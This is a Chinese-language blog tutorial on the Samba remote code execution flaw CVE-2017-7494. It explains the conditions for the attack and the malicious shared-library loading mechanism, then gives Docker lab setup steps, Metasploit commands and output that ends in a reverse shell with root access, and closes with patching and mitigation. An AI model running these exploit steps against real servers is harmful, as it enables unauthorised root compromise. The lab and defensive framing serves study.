美文网首页
Samba远程代码执行漏洞(CVE-2017-7494)

Samba远程代码执行漏洞(CVE-2017-7494)

作者: 网络安全通 | 来源:发表于2018-02-09 19:33 被阅读0次

之前有CVE漏洞产生,于是。。。

漏洞信息

Samba 是在 Linux 和 UNIX 系统上实现 SMB 协议的一个软件。2017年5月24日Samba发布了4.6.4版本,中间修复了一个严重的远程代码执行漏洞,漏洞编号CVE-2017-7494,漏洞影响了Samba 3.5.0 之后到4.6.4/4.5.10/4.4.14中间的所有版本。

漏洞简介

攻击者利用漏洞可以进行远程代码执行,具体执行条件如下:

1. 服务器打开了文件/打印机共享端口445,让其能够在公网上访问

2. 共享文件拥有写入权限

3. 恶意攻击者需猜解Samba服务端共享目录的物理路径

满足以上条件时,由于Samba能够为选定的目录创建网络共享,当恶意的客户端连接上一个可写的共享目录时,通过上传恶意的链接库文件,使服务端程序加载并执行它,从而实现远程代码执行。根据服务器的情况,攻击者还有可能以root身份执行。

漏洞分析

360安全团队的cyg07和redrain分析了这个漏洞

如Samba官方所描述,该漏洞只需要通过一个可写入的Samba用户权限就可以提权到samba所在服务器的root权限(samba默认是root用户执行的)。

从Patch来看的话,is_known_pipename函数的pipename中存在路径符号会有问题:

再延伸下smb_probe_module函数中就会形成公告里说的加载攻击者上传的dll来任意执行代码了:

具体攻击过程:

1.  构造一个有’/’符号的管道名或路径名,如“/home/toor/cyg07.so”

2.  通过smb的协议主动让服务器smb返回该FID

3.  后续直接请求这个FID就进入上面所说的恶意流程

具体攻击结果如下:

1.  尝试加载 “/home/toor/cyg07.so”恶意so

2.其中so 代码如下(加载时会调用 samba_init_module导出函数)

3.最后我们可以在/tmp/360sec中看到实际的执行权限(带root权限)

环境配置

攻击机:Kali 2.0 192.168.198.166

靶机:Ubuntu14.04 192.168.198.128

我们在配置真机环境时攻击失败,于是测试时采用了docker镜像

拉取镜像到本地,在Ubuntu下

$ sudo docker pull medicean/vulapps:s_samba_1

启动环境

 $sudo docker run -d -p 445:445 -p 139:139 -p 138:138 -p 137:137medicean/vulapps:s_samba_1

环境就配置好了。

利用步骤

在Kali下

加载插件(下面都用代码样式)

# wgethttps://raw.githubusercontent.com/hdm/metasploit-framework/module/CVE-2017-7494/modules/exploits/linux/samba/is_known_pipename.rb

# cp is_known_pipename.rb/usr/share/metasploit-framework/modules/exploits/linux/samba/

启动msf

# msfconsole

msf > useexploit/linux/samba/is_known_pipename

msf exploit(is_known_pipename) > setRHOST 192.168.198.128

RHOST => 192.168.198.128

msf exploit(is_known_pipename) > setTarget 3

msf exploit(is_known_pipename) > showoptions

Module options(exploit/linux/samba/is_known_pipename):

  Name            CurrentSetting  Required  Description

  ----           ---------------  --------  -----------

  RHOST          192.168.198.128   yes       The target address

  RPORT           445              yes       The SMB service port (TCP)

  SMB_FOLDER                      no        The directory to usewithin the writeable SMB share

  SMB_SHARE_BASE                  no        The remote filesystempath correlating with the SMB share name

  SMB_SHARE_NAME                  no        The name of the SMBshare containing a writeable directory

Exploit target:

  Id  Name

  --  ----

  2   Linux x86_64

msf exploit(is_known_pipename) > run

[*] Started reverse TCP handler on192.168.198.166:4444

[*] 192.168.198.128:445 - Using location\\192.168.198.128\share\ for the path

[*] 192.168.198.128:445 - Payload is storedin //192.168.198.128/share/ as dDUJiiuf.so

[*] 192.168.198.128:445 - Trying location/volume1/dDUJiiuf.so...

[*] 192.168.198.128:445 - Trying location/volume1/share/dDUJiiuf.so...

[*] 192.168.198.128:445 - Trying location/volume1/Share/dDUJiiuf.so...

[*] 192.168.198.128:445 - Trying location/mnt/media/SHARE/dDUJiiuf.so...

[*] 192.168.198.128:445 - Trying location/mnt/media/Share/dDUJiiuf.so...

[*] 192.168.198.128:445 - Trying location/var/samba/share/dDUJiiuf.so...

[*] 192.168.198.128:445 - Trying location/var/samba/SHARE/dDUJiiuf.so...

[*] 192.168.198.128:445 - Trying location/var/samba/Share/dDUJiiuf.so...

[*] 192.168.198.128:445 - Trying location/tmp/dDUJiiuf.so...

id

uid=65534(nobody) gid=0(root)groups=0(root),65534(nogroup)

如果 smb.conf 配置了 guest account = root 这一项, 则显示如下:

id

uid=0(root) gid=0(root) groups=0(root)

此时已经getshell

解决方案

1. 使用源码安装的 Samba 用户,请尽快下载最新的Samba 版本手动更新;

2. 使用二进制分发包(RPM等方式)的用户立即进行yum,apt-get

update等安全更新操作;

缓解策略:用户可以通过在smb.conf 的 [global] 节点下增加 nt pipe support = no 选项,然后重新启动 samba 服务,以此达到缓解该漏洞的效果

如果想要了解更多网络空间安全知识,请访问 网络安全通,或者搜索 SecTown 。

相关文章

网友评论

      本文标题:Samba远程代码执行漏洞(CVE-2017-7494)

      本文链接:https://www.haomeiwen.com/subject/oxjqtftx.html